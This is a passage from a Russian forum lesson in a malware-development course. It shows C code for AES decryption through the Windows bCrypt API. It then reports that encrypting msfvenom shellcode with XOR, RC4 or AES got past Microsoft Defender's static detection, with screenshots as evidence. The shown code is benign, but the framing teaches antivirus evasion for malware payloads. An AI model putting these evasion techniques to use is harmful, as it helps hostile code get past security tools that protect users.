    return 0;
}

Этот код демонстрирует, как можно реализовать шифрование данных с использованием AES.

1694439038091.png


Пример расшифровки данных

Ниже представлена основная функция, которая используется для выполнения процедуры дешифрования.

Для процедуры дешифрования требуются ключ дешифрования, инициализирующий вектор (IV) и шифртекст.

C:
// the key printed to the screen
unsigned char pKey[] = {
        0x3E, 0x31, 0xF4, 0x00, 0x50, 0xB6, 0x6E, 0xB8, 0xF6, 0x98, 0x95, 0x27, 0x43, 0x27, 0xC0, 0x55,
        0xEB, 0xDB, 0xE1, 0x7F, 0x05, 0xFE, 0x65, 0x6D, 0x0F, 0xA6, 0x5B, 0x00, 0x33, 0xE6, 0xD9, 0x0B };

// the iv printed to the screen
unsigned char pIv[] = {
        0xB4, 0xC8, 0x1D, 0x1D, 0x14, 0x7C, 0xCB, 0xFA, 0x07, 0x42, 0xD9, 0xED, 0x1A, 0x86, 0xD9, 0xCD };


// the encrypted buffer printed to the screen, which is:
unsigned char CipherText[] = {
        0x97, 0xFC, 0x24, 0xFE, 0x97, 0x64, 0xDF, 0x61, 0x81, 0xD8, 0xC1, 0x9E, 0x23, 0x30, 0x79, 0xA1,
        0xD3, 0x97, 0x5B, 0xAE, 0x29, 0x7F, 0x70, 0xB9, 0xC1, 0xEC, 0x5A, 0x09, 0xE3, 0xA4, 0x44, 0x67,
        0xD6, 0x12, 0xFC, 0xB5, 0x86, 0x64, 0x0F, 0xE5, 0x74, 0xF9, 0x49, 0xB3, 0x0B, 0xCA, 0x0C, 0x04,
        0x17, 0xDB, 0xEF, 0xB2, 0x74, 0xC2, 0x17, 0xF6, 0x34, 0x60, 0x33, 0xBA, 0x86, 0x84, 0x85, 0x5E };

int main() {

    // Defining two variables the output buffer and its respective size which will be used in SimpleDecryption
    PVOID    pPlaintext  = NULL;
    DWORD    dwPlainSize = NULL;

    // Decrypting
    if (!SimpleDecryption(CipherText, sizeof(CipherText), pKey, pIv, &pPlaintext, &dwPlainSize)) {
        return -1;
    }

    // Printing the decrypted data to the screen in hex format
    PrintHexData("PlainText", pPlaintext, dwPlainSize);

    // this will print: "This is a plain text string, we'll try to encrypt/decrypt !"
    printf("Data: %s \n", pPlaintext);

    // Clean up
    HeapFree(GetProcessHeap(), 0, pPlaintext);
    system("PAUSE");
    return 0;
}

1694439144699.png


Недостатки библиотеки bCrypt

Одним из основных недостатков использования описанного выше метода для реализации шифрования AES является то, что использование криптографических функций WinAPI приводит к их появлению в таблице импорта адресов (IAT) бинарного файла.

Решения безопасности могут обнаруживать использование криптографических функций, сканируя IAT, что может потенциально указывать на вредоносное поведение или вызвать подозрения.
Скрытие WinAPI в IAT возможно и будет обсуждаться в следующих статьях.

На изображении ниже показана IAT бинарного файла, использующего Windows API для шифрования AES. Использование библиотеки crypt.dll и криптографических функций явно видно.

1694439841489.png


Обход статического анализа Microsoft Defender

Пример использования алгоритмов шифрования XOR, RC4 и AES для обхода статического анализатора Microsoft Defender.
На этом этапе учебного модуля полезная нагрузка (payload) не выполняется, она просто выводится на консоль. Поэтому в этом модуле основное внимание уделяется исключительно обходу статического анализа и сигнатурному обнаружению.

Каждый из примеров кода использует шелл-код Msfvenom.

Необработанный шелл-код (Raw Shellcode) - обнаружен Defender'ом.

1694440275913.png


XOR-шифрованный шелл-код - успешно обходит Defender.

1694440292098.png


AES-шифрованный шелл-код - успешно обходит Defender.

1694440318662.png


RC4-шифрованный шелл-код - успешно обходит Defender.

1694440341321.png
 
Последнее редактирование:

q8yas

Уважаемый пользователь
Форумчанин
Регистрация
17.11.2023
Сообщения
45
Репутация
15
this is still very advanced for me but i will come back later
 
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 16
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 7
X-Shar Введение в разработку вредоносных программ 8
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 4
X-Shar Введение в разработку вредоносных программ 2
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка малвари-14. Размещаем Payload удаленно на сервере
Уроки Разработка малвари-13.Инъекция шелл-кода в процесс
Уроки Разработка малвари-12. Иньекция в процесс
Уроки Разработка малвари-11. Локальный запуск Payload
Уроки Разработка малвари-10. Обфускация Payload
Уроки Разработка малвари-8. Куда класть нагрузку ?
Уроки Разработка малвари-7. Виды детектов
Уроки Разработка малвари-6. Процессы Windows
Уроки Разработка малвари - 5. Изучаем динамические библиотеки
Уроки Разработка малвари - 4. Шпаргалка по архитектуре винды
Уроки Разработка малвари - 3. Так какой-же язык выбрать !?
Уроки Разработка малвари - 2. Изучаем инструменты
Верх Низ